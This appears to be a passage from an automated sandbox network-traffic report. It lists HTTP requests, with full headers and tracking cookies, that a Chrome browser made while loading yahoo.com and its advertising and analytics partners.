tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /g/images/spaceball.gif HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/vzm/cs_1.6.0.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/img/voiceSearch1x-1620383531565.min.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: tsdtocl.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/opus-frame.html?referrer=https%3A%2F%2Fwww.yahoo.com%2F&tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2&axids=gam%3Dy-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A%26dv360%3DeS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B%26ydsp%3Dy-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A%26tbla%3Dy-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN&reset_idsync=1 HTTP/1.1Host: opus.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; IDSYNC="19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y"; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=2&rn=1.9185749898548843 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /service-worker.js HTTP/1.1Host: www.yahoo.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.yahoo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8 HTTP/1.1Host: api.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-shopping.ShoppingContent.atomic.ltr.451c40b3a0322b48dbc58fbf0d98ee96.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/QE4kbKFBO8gdTgYpRmjkEg--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/ap.org/a4b292845afa16f99e2a1a08e343ce42.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ybar/exp.json HTTP/1.1Host: edge-mcdn.secure.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-shopping.custom.desktop.fdf1fc8fe6bc6d08523f7958b8edf2b5.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/f10d509c/d1ccw66oyq8ex2.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/prebid/prebid-1.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/react-wafer-games.custom.modern.5043a481c515b36358c32b8ea2d581fe.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-tabs-1.12.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1714257714229 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=1D48bace37dc6f510e89ade1714257697
Source: global traffic	HTTP traffic detected: GET /ups/58746/sync?ui=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2&redir=true&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC=19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y
Source: global traffic	HTTP traffic detected: GET /ups/58739/cms?partner_id=BLKAI&orig=ono HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC=19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y
Source: global traffic	HTTP traffic detected: GET /ups/58782/cms?partner_id=ADOBE&orig=ono&redir2=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC=19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y
Source: global traffic	HTTP traffic detected: GET /ups/58692/cms?partner_id=NEUAR&orig=ono HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC=19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y
Source: global traffic	HTTP traffic detected: GET /ups/58699/cms?partner_id=SEMAS&orig=ono&sInitiator=external HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC=19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y
Source: global traffic	HTTP traffic detected: GET /_td_api/beacon/info?event=activate&spaceId=1197802003&version=1.1.52&scope=https://www.yahoo.com/&subscription_endpoint=null&metadataTime=5&src=notification-sw&code=info HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/service-worker.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-autocomplete-1.31.8-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cx/pv/perf-vitals_3.2.0.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
